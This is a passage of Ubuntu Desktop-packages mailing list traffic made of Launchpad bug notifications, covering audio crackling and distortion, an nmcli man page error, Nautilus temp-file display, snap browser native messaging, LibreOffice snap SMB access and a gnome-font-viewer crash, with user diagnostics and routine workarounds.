82801AA-ICH Symptom_PulseAudioLog: сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.30' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.34' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 23 23:06:05 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.233' (uid=1000 pid=20990 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") Symptom_PulsePlaybackTest: PulseAudio playback test failed Symptom_Type: Underruns, dropouts, or "crackling" sound Title: [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/01/2006 dmi.bios.vendor: innotek GmbH dmi.bios.version: VirtualBox dmi.board.name: VirtualBox dmi.board.vendor: Oracle Corporation dmi.board.version: 1.2 dmi.chassis.type: 1 dmi.chassis.vendor: Oracle Corporation dmi.modalias: dmi:bvninnotekGmbH:bvrVirtualBox:bd12/01/2006:svninnotekGmbH:pnVirtualBox:pvr1.2:sku:rvnOracleCorporation:rnVirtualBox:rvr1.2:cvnOracleCorporation:ct1:cvr: dmi.product.family: Virtual Machine dmi.product.name: VirtualBox dmi.product.version: 1.2 dmi.sys.vendor: innotek GmbH ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1944769 Title: [ICH - Intel 82801AA-ICH, playback] Underruns, dropouts or crackling sound Status in pulseaudio package in Ubuntu: New Bug description: Hey! I installed Ubuntu with VM yesturday and it turned out that the sound is still fine on Windows, but when i use Ubuntu via VM, it sounds like endless crackers every single second, i could also compared it to hickups. Tried to find a solution in the internet, but it didn't help at all ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: pulseaudio 1:13.99.1-1ubuntu3.11 ProcVersionSignature: Ubuntu 5.11.0-36.40~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-36-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.20 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: timcpau 20990 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: XFCE Date: Thu Sep 23 23:49:13 2021 InstallationDate: Installed on 2021-09-22 (1 days ago) InstallationMedia: Xubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819.1) SourcePackage: pulseaudio Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:I82801AAICH successful Symptom_Card: Built-in Audio - Intel 82801AA-ICH Symptom_PulseAudioLog: сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.30' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 22 09:37:53 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.34' (uid=1000 pid=815 comm="/usr/bin/pulseaudio --daemonize=no --log-target=jo" label="unconfined") сен 23 23:06:05 timcpau-VirtualBox dbus-daemon[459]: [system] Activating via systemd: service name='org.bluez' unit='dbus-org.bluez.service' requested by ':1.233' (uid=1000 pid=20990 comm="/usr/bin/pulseaudio --daemonize=no
[Desktop-packages] [Bug 1927255] Re: [USB-Audio - RODECaster Pro, playback] Sound is distorted (20.04)
@Peabody Yes, I have ran into the same problems on 21.04 and reported that separately at https://bugs.launchpad.net/ubuntu/+source/alsa- driver/+bug/1927337 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1927255 Title: [USB-Audio - RODECaster Pro, playback] Sound is distorted (20.04) Status in alsa-driver package in Ubuntu: Confirmed Bug description: I got a Rodecaster Pro USB device that has been causing trouble before and already lead to quirk handling in the kernel for the sample rate, see https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/sound/usb/format.c?h=v5.8#n412 The Rodecaster is running fine on my laptop, but on my desktop, only audio input is working. The audio output is distorted. It's played kind of very slowly. Interestingly, if the source is a video file, the video plays slower, e.g. YouTube in a browser. I have never seen anything like that before. I have tried to figure out what the cause might be and I think I have reached the end of where I can get to on my own. I have documented most things at https://ubuntuforums.org/showthread.php?t=2461568 Putting my last step it in a nutshell: I have booted both my computers with a plain Ubuntu 21.04 from a pen drive (it uses kernel version 5.11.0-16-generic) to make sure it's not some different configuration that I have set up over the years on my systems (both Ubuntu 20.04 with kernel 5.8.18). I attached the Rodecaster. It runs fine on my laptop, but not on my desktop (used the output test from). I then detected the card number with aplay -l I killed pulseaudio with pulseaudio -k I then played the same sample (encoded in 48000 Hz in PCM signed 32 bit little endian format) using aplay -f S32_LE -c 2 -r 48000 -D hw:x ~/sample.wav where x is the appropriate card number and the rest of the arguments meet the Rodecaster's narrow specification. It's playing fine on the laptop, but distorted on the desktop. As far as I understand using aplay this way without a plugin should send the file directly to the device, so I assume there's something on the way from aplay to the Rodecaster that's interfering (kernel or even some piece of hardware) - and that definitely is where my expertise ends (rather a little before :-)). I'll gladly contribute any information that could be useful and I will willingly help to debug this problem if it may be related to the kernel. If there's anything I can do, please let me know. Cheers, Oliver ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 Uname: Linux 5.8.18-050818-generic x86_64 NonfreeKernelModules: blackmagic_io nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME CurrentDmesg: Error: command ['dmesg'] failed with exit code 1: dmesg: read kernel buffer failed: Operation not permitted Date: Wed May 5 18:28:46 2021 InstallationDate: Installed on 2020-05-15 (355 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Pro failed Symptom_Card: RODECaster Pro - RODECaster Pro Symptom_Type: Digital clip or distortion, or "overdriven" sound Title: [USB-Audio - RODECaster Pro, playback] Sound is distorted UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/30/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: A.40 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: B550-A PRO (MS-7C56) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrA.40:bd10/30/2020:br5.17:svnMicro-StarInternationalCo.,Ltd.:pnMS-7C56:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnB550-APRO(MS-7C56):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7C56 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1927255/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1927255] Re: [USB-Audio - RODECaster Pro, playback] Sound is distorted (20.04)
Same problem on Ubuntu 21 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1927255 Title: [USB-Audio - RODECaster Pro, playback] Sound is distorted (20.04) Status in alsa-driver package in Ubuntu: Confirmed Bug description: I got a Rodecaster Pro USB device that has been causing trouble before and already lead to quirk handling in the kernel for the sample rate, see https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/sound/usb/format.c?h=v5.8#n412 The Rodecaster is running fine on my laptop, but on my desktop, only audio input is working. The audio output is distorted. It's played kind of very slowly. Interestingly, if the source is a video file, the video plays slower, e.g. YouTube in a browser. I have never seen anything like that before. I have tried to figure out what the cause might be and I think I have reached the end of where I can get to on my own. I have documented most things at https://ubuntuforums.org/showthread.php?t=2461568 Putting my last step it in a nutshell: I have booted both my computers with a plain Ubuntu 21.04 from a pen drive (it uses kernel version 5.11.0-16-generic) to make sure it's not some different configuration that I have set up over the years on my systems (both Ubuntu 20.04 with kernel 5.8.18). I attached the Rodecaster. It runs fine on my laptop, but not on my desktop (used the output test from). I then detected the card number with aplay -l I killed pulseaudio with pulseaudio -k I then played the same sample (encoded in 48000 Hz in PCM signed 32 bit little endian format) using aplay -f S32_LE -c 2 -r 48000 -D hw:x ~/sample.wav where x is the appropriate card number and the rest of the arguments meet the Rodecaster's narrow specification. It's playing fine on the laptop, but distorted on the desktop. As far as I understand using aplay this way without a plugin should send the file directly to the device, so I assume there's something on the way from aplay to the Rodecaster that's interfering (kernel or even some piece of hardware) - and that definitely is where my expertise ends (rather a little before :-)). I'll gladly contribute any information that could be useful and I will willingly help to debug this problem if it may be related to the kernel. If there's anything I can do, please let me know. Cheers, Oliver ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 Uname: Linux 5.8.18-050818-generic x86_64 NonfreeKernelModules: blackmagic_io nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME CurrentDmesg: Error: command ['dmesg'] failed with exit code 1: dmesg: read kernel buffer failed: Operation not permitted Date: Wed May 5 18:28:46 2021 InstallationDate: Installed on 2020-05-15 (355 days ago) InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Pro failed Symptom_Card: RODECaster Pro - RODECaster Pro Symptom_Type: Digital clip or distortion, or "overdriven" sound Title: [USB-Audio - RODECaster Pro, playback] Sound is distorted UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/30/2020 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: A.40 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: B550-A PRO (MS-7C56) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrA.40:bd10/30/2020:br5.17:svnMicro-StarInternationalCo.,Ltd.:pnMS-7C56:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnB550-APRO(MS-7C56):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7C56 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1927255/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944764] Re: APN command line : 'username' and 'user' are transposed
I see the last command line example at the following URL also shows "username" and "user" are transposed: https://ubuntu.com/core/docs/networkmanager/configure-cellular- connections The page currently shows: $ nmcli c add type gsm ifname con-name apn username password pin The page should show: $ nmcli c add type gsm ifname con-name apn user password pin -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1944764 Title: APN command line : 'username' and 'user' are transposed Status in network-manager package in Ubuntu: New Bug description: Pertains to the following man page's Connection Management Commands section : https://manpages.ubuntu.com/manpages/xenial/man1/nmcli.1.html Man page currently shows: type gsm [apn APN] [username user] [password passwd] apn APN - GSM Access Point Name. user user name. password password. type cdma [username user] [password passwd] user user name. password password. The man page should be corrected to show: type gsm [apn APN] [user username] [password passwd] type cdma [user username] [password passwd] I suggest correcting the man page so it's correct for people trying to use this version of Ubuntu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1944764/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944764] [NEW] APN command line : 'username' and 'user' are transposed
Public bug reported: Pertains to the following man page's Connection Management Commands section : https://manpages.ubuntu.com/manpages/xenial/man1/nmcli.1.html Man page currently shows: type gsm [apn APN] [username user] [password passwd] apn APN - GSM Access Point Name. user user name. password password. type cdma [username user] [password passwd] user user name. password password. The man page should be corrected to show: type gsm [apn APN] [user username] [password passwd] type cdma [user username] [password passwd] I suggest correcting the man page so it's correct for people trying to use this version of Ubuntu. ** Affects: network-manager (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1944764 Title: APN command line : 'username' and 'user' are transposed Status in network-manager package in Ubuntu: New Bug description: Pertains to the following man page's Connection Management Commands section : https://manpages.ubuntu.com/manpages/xenial/man1/nmcli.1.html Man page currently shows: type gsm [apn APN] [username user] [password passwd] apn APN - GSM Access Point Name. user user name. password password. type cdma [username user] [password passwd] user user name. password password. The man page should be corrected to show: type gsm [apn APN] [user username] [password passwd] type cdma [user username] [password passwd] I suggest correcting the man page so it's correct for people trying to use this version of Ubuntu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1944764/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944763] [NEW] sed temp file appears in nautilus but not in ls -a
Public bug reported: **Expected behaviour**: Temp files created by sed should disappear from Nautilus after automatic deletion **Observed behaviour**: Temp files showed in Nautilus for some time. **Description**: After using: sed -i 's/CAD/cad/g' FILENAME The temp files created by sed (sed#) continued showing in Nautilus for some minutes (they disappear if I close and reopen Nautilus), and I could interact with them (see permissions, double click to open (which errored out by not finding an app to open it), but couldn't change them (move, change permissions, delete) These temp files did not appear with ls -a. The file is 3.6kb long. The behaviour doesn't happen with: sed -i 's/cad/CAD/g' FILENAME but only with: sed -i 's/CAD/cad/g' FILENAME **Outputs**: >>>df . Sist. Arq. Blocos de 1K Usado Disponível Uso% Montado em /dev/sda2 459924552 235486388 201005512 54% / >>>lsb_release -rd: Description:Ubuntu 21.04 Release:21.04 >>>apt-cache policy nautilus nautilus: Instalado: 1:3.38.2-1ubuntu2 Candidato: 1:3.38.2-1ubuntu2 Tabela de versão: *** 1:3.38.2-1ubuntu2 500 500 http://mirror.ufscar.br/ubuntu hirsute-updates/main amd64 Packages 100 /var/lib/dpkg/status 1:3.38.2-1ubuntu1 500 500 http://mirror.ufscar.br/ubuntu hirsute/main amd64 Packages ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: nautilus 1:3.38.2-1ubuntu2 ProcVersionSignature: Ubuntu 5.11.0-34.36-generic 5.11.22 Uname: Linux 5.11.0-34-generic x86_64 ApportVersion: 2.20.11-0ubuntu65.3 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Thu Sep 23 15:51:04 2021 ExecutablePath: /usr/bin/nautilus GsettingsChanges: b'org.gnome.nautilus.window-state' b'initial-size' b'(860, 495)' b'org.gnome.nautilus.preferences' b'executable-text-activation' b"'ask'" b'org.gnome.nautilus.list-view' b'default-column-order' b"['name', 'size', 'type', 'owner', 'group', 'permissions', 'where', 'date_modified', 'date_modified_with_time', 'date_accessed', 'recency', 'starred', 'detailed_type']" InstallationDate: Installed on 2021-04-20 (155 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) ProcEnviron: SHELL=/bin/bash XDG_RUNTIME_DIR= PATH=(custom, user) LANGUAGE=pt_BR:pt:en LANG=pt_BR.UTF-8 SourcePackage: nautilus UpgradeStatus: Upgraded to hirsute on 2021-06-08 (107 days ago) usr_lib_nautilus: evince40.1-1 file-roller 3.38.1-1 nautilus-extension-gnome-terminal 3.38.1-1ubuntu1 nautilus-share0.7.3-2ubuntu3 ** Affects: nautilus (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute ** Description changed: **Expected behaviour**: Temp files created by sed should disappear from Nautilus after automatic deletion **Observed behaviour**: Temp files showed in Nautilus for some time. **Description**: After using: sed -i 's/CAD/cad/g' FILENAME The temp files created by sed (sed#) continued showing in Nautilus - for some time (about 20m), and I could interact with them (see - permissions, double click to open (which errored out by not finding an - app to open it), but couldn't change them (move, change permissions, - delete) + for some minutes (they disappear if I close and reopen Nautilus), and I + could interact with them (see permissions, double click to open (which + errored out by not finding an app to open it), but couldn't change them + (move, change permissions, delete) These temp files did not appear with ls -a. The file is 3.6kb long. The behaviour doesn't happen with: sed -i 's/cad/CAD/g' FILENAME but only with: sed -i 's/CAD/cad/g' FILENAME **Outputs**: >>>df . Sist. Arq. Blocos de 1K Usado Disponível Uso% Montado em /dev/sda2 459924552 235486388 201005512 54% / >>>lsb_release -rd: Description: Ubuntu 21.04 Release: 21.04 >>>apt-cache policy nautilus nautilus: - Instalado: 1:3.38.2-1ubuntu2 - Candidato: 1:3.38.2-1ubuntu2 - Tabela de versão: - *** 1:3.38.2-1ubuntu2 500 - 500 http://mirror.ufscar.br/ubuntu hirsute-updates/main amd64 Packages - 100 /var/lib/dpkg/status - 1:3.38.2-1ubuntu1 500 - 500 http://mirror.ufscar.br/ubuntu hirsute/main amd64 Packages + Instalado: 1:3.38.2-1ubuntu2 + Candidato: 1:3.38.2-1ubuntu2 + Tabela de versão: + *** 1:3.38.2-1ubuntu2 500 + 500 http://mirror.ufscar.br/ubuntu hirsute-updates/main amd64 Packages + 100 /var/lib/dpkg/status + 1:3.38.2-1ubuntu1 500 + 500 http://mirror.ufscar.br/ubuntu hirsute/main amd64 Packages ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: nautilus 1:3.38.2-1ubuntu2 ProcVersionSignature: Ubuntu 5.11.0-34.36-generic 5.11.22 Uname: Linux 5.11.0-34-generic x86_64 ApportVersion: 2.20.11-0ubuntu65.3 Architecture: amd64 CasperMD5CheckResult: unknown
[Desktop-packages] [Bug 1741074] Re: [snap] chrome-gnome-shell extension fails to detect native host connector
I'm quoting James Henstridge on a possible approach to tackle the problem: « The design of the native messaging system for extensions is something that could theoretically fit into a confinement system like snapd or flatpak. Instead of executing the native messaging server directly, the browser could ask something outside the sandbox to execute the server and hand it the communication pipes. That's quite a large project though: it'd require modifications to the browser(s), design and implementation of an API (maybe in xdg-desktop- portal?), evaluation of the security implications, etc. » -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1741074 Title: [snap] chrome-gnome-shell extension fails to detect native host connector Status in KeePassXC Snap Builds: Unknown Status in chromium-browser package in Ubuntu: Triaged Status in goopg package in Ubuntu: Confirmed Status in kdeconnect package in Ubuntu: Confirmed Bug description: (initially reported at https://forum.snapcraft.io/t/chrome-gnome- shell-does-not-work-with-chromium-snap/3377) See attached screenshot. To manage notifications about this bug go to: https://bugs.launchpad.net/keepassxc-snap/+bug/1741074/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1741074] Re: [snap] chrome-gnome-shell extension fails to detect native host connector
And for future reference, here is Mozilla's documentation on native messaging: https://developer.mozilla.org/en-US/docs/Mozilla/Add- ons/WebExtensions/Native_messaging. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1741074 Title: [snap] chrome-gnome-shell extension fails to detect native host connector Status in KeePassXC Snap Builds: Unknown Status in chromium-browser package in Ubuntu: Triaged Status in goopg package in Ubuntu: Confirmed Status in kdeconnect package in Ubuntu: Confirmed Bug description: (initially reported at https://forum.snapcraft.io/t/chrome-gnome- shell-does-not-work-with-chromium-snap/3377) See attached screenshot. To manage notifications about this bug go to: https://bugs.launchpad.net/keepassxc-snap/+bug/1741074/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1741074] Re: [snap] chrome-gnome-shell extension fails to detect native host connector
Thanks for these useful data points Merlijn. That is certainly an important use case that we want to continue supporting. I had a quick look at both the github repository and the "Belgium eID" firefox extension (https://addons.mozilla.org/en-US/firefox/addon/belgium-eid/), and I can't find any references to nativeMessaging there. Am I missing another piece of the puzzle? Or could it be that this is a different problem altogether? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1741074 Title: [snap] chrome-gnome-shell extension fails to detect native host connector Status in KeePassXC Snap Builds: Unknown Status in chromium-browser package in Ubuntu: Triaged Status in goopg package in Ubuntu: Confirmed Status in kdeconnect package in Ubuntu: Confirmed Bug description: (initially reported at https://forum.snapcraft.io/t/chrome-gnome- shell-does-not-work-with-chromium-snap/3377) See attached screenshot. To manage notifications about this bug go to: https://bugs.launchpad.net/keepassxc-snap/+bug/1741074/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944746] [NEW] LibreOffice from Ubuntu Store/snaps broken GNOME integration for remote smb shares
Public bug reported: 1) lsb_release -rd Description:Ubuntu 21.04 Release:21.04 2) Name Version RevTracking Publisher Notes snap list | grep libreoffice libreoffice 7.2.1.2 235latest/edge canonical* - apt-cache policy gnome-shell gnome-shell: Installed: 3.38.4-1ubuntu3~21.04.1 Candidate: 3.38.4-1ubuntu3~21.04.1 Version table: *** 3.38.4-1ubuntu3~21.04.1 500 500 http://us.archive.ubuntu.com/ubuntu hirsute-updates/main amd64 Packages 100 /var/lib/dpkg/status 3.38.4-1ubuntu2 500 500 http://us.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages 3) What I expected to happen is using any version of LibreOffice snaps from Ubuntu Software app (i.e. https://snapcraft.io/libreoffice ) works as it does as if I used the default install of libreoffice. Specifically, when I open the GNOME Files program via the icon on the bar on the left, I have an smb share already added via "Other Locations". When I use the default libreoffice install version as per below, when I attempt to open a file in Libreoffice Calc, the share is visible and I'm able to open files, edit, save, close, etc.: apt-cache policy libreoffice libreoffice: Installed: (none) Candidate: 1:7.1.6-0ubuntu0.21.04.1 Version table: 1:7.1.6-0ubuntu0.21.04.1 500 (phased 70%) 500 http://us.archive.ubuntu.com/ubuntu hirsute-updates/universe amd64 Packages 1:7.1.2~rc2-0ubuntu2 500 500 http://us.archive.ubuntu.com/ubuntu hirsute/universe amd64 Packages 4) However, when I completely remove all things libreoffice-* via command line, then install the snap version, the smb share is not visible. It's confirmed all packages associated with default install are removed, and only the snap is installed. I've tried completely removing each snap and trying a different version (e.g. stable, candidate, edge) but it's the same problem. I'm guessing it's something borked with the libreoffice-gnome integration between the snap and the GNOME environment but that's a wild guess. I tried the snap package as the default install Draw kept crashing opening a particular file, and was hoping to work around it by installing later snap version. WORKAROUND: Use default install of LibreOffice. ProblemType: Bug DistroRelease: Ubuntu 21.04 ProcVersionSignature: Ubuntu 5.11.0-36.40-generic 5.11.22 Uname: Linux 5.11.0-36-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu65.3 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Thu Sep 23 08:58:30 2021 InstallationDate: Installed on 2021-08-25 (28 days ago) InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 (20210209.1) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Snap: libreoffice 7.2.1.2 (latest/edge) SnapSource: ubuntu/+source/libreoffice UpgradeStatus: Upgraded to hirsute on 2021-09-20 (3 days ago) ** Affects: libreoffice (Ubuntu) Importance: Low Status: Triaged ** Tags: amd64 apport-bug hirsute snap testcase -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libreoffice in Ubuntu. https://bugs.launchpad.net/bugs/1944746 Title: LibreOffice from Ubuntu Store/snaps broken GNOME integration for remote smb shares Status in libreoffice package in Ubuntu: Triaged Bug description: 1) lsb_release -rd Description: Ubuntu 21.04 Release: 21.04 2) Name Version RevTracking Publisher Notes snap list | grep libreoffice libreoffice 7.2.1.2 235 latest/edge canonical* - apt-cache policy gnome-shell gnome-shell: Installed: 3.38.4-1ubuntu3~21.04.1 Candidate: 3.38.4-1ubuntu3~21.04.1 Version table: *** 3.38.4-1ubuntu3~21.04.1 500 500 http://us.archive.ubuntu.com/ubuntu hirsute-updates/main amd64 Packages 100 /var/lib/dpkg/status 3.38.4-1ubuntu2 500 500 http://us.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages 3) What I expected to happen is using any version of LibreOffice snaps from Ubuntu Software app (i.e. https://snapcraft.io/libreoffice ) works as it does as if I used the default install of libreoffice. Specifically, when I open the GNOME Files program via the icon on the bar on the left, I have an smb share already added via "Other Locations". When I use the default libreoffice install version as per below, when I attempt to open a file in Libreoffice Calc, the share is visible and I'm able to open files, edit, save, close, etc.: apt-cache policy libreoffice libreoffice: Installed: (none) Candidate: 1:7.1.6-0ubuntu0.21.04.1 Version table: 1:7.1.6-0ubuntu0.21.04.1 500 (phased 70%)
[Desktop-packages] [Bug 1739310] Re: Sound crackling in Ubuntu 16.04
Still present in the 21.10 daily build. The "fix" is to kill the process and uninstall the package. https://askubuntu.com/questions/1033405/crackling-and-delayed-sound- after-upgrading-to-18-04 killall speech-dispatcher sudo apt-get remove speech-dispatcher -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to speech-dispatcher in Ubuntu. https://bugs.launchpad.net/bugs/1739310 Title: Sound crackling in Ubuntu 16.04 Status in speech-dispatcher package in Ubuntu: Confirmed Bug description: Sometimes, when i’m watching videos in youtube or facebook, the sound is distorced with a “static sound”. After searching the web for a solution, i found this site (maybe it’s the same problem, with better explanations in english): https://github.com/mumble- voip/mumble/issues/2350 Always when i start the service “speech-dispatcher” for the first time while playing something with sound, the bug occurs. So, i think maybe the problem is with this “speed-dispatcher” service. When i restart pulseaudio everything becomes normal again… This problem happens in ubuntu 17.10 too. It’s a annoying bug and i don’t know the best way to report it. My specs: GPU: Nvidia GTX 950 Motherboard: Gigabyte 78LMT-USB3 (Rev. 6.0) CPU: AMD FX 8300 P.S: I'm using Xubuntu now but this bug occurs in all ubuntu 16.04 "family". Sorry for the bad english. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: speech-dispatcher 0.8.3-1ubuntu3 ProcVersionSignature: Ubuntu 4.10.0-40.44~16.04.1-generic 4.10.17 Uname: Linux 4.10.0-40-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2.13 Architecture: amd64 CurrentDesktop: XFCE Date: Tue Dec 19 20:50:34 2017 EcryptfsInUse: Yes InstallationDate: Installed on 2017-11-13 (36 days ago) InstallationMedia: Xubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) SourcePackage: speech-dispatcher UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/speech-dispatcher/+bug/1739310/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1845362] Re: gnome-font-viewer crashed with signal 5 in _XEventsQueued()
I was able to recreate this when running the "Try Ubuntu" environment on an Impish daily build from 20210922. I reported the crash report in bug 1944736 which was marked as a duplicate of bug 1373069. ** Tags added: rls-ii-incoming -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-font-viewer in Ubuntu. https://bugs.launchpad.net/bugs/1845362 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() Status in gnome-font-viewer package in Ubuntu: Confirmed Status in gnome-font-viewer package in Debian: New Bug description: Reproducible crash (tested on Ubuntu and Xubuntu) or freezing of application during ISO testing of a live-session. Application will crash if there is an attempt to close it or scroll through fonts. On one occasion my laptop was rendered unusable when Firefox was launched while trying to report the crash to Launchpad. After the bug report has been sent gnome-font-viewer will freeze when automatically restarted. No fonts are displayed. Work around --- gnome-font-viewer appears to start 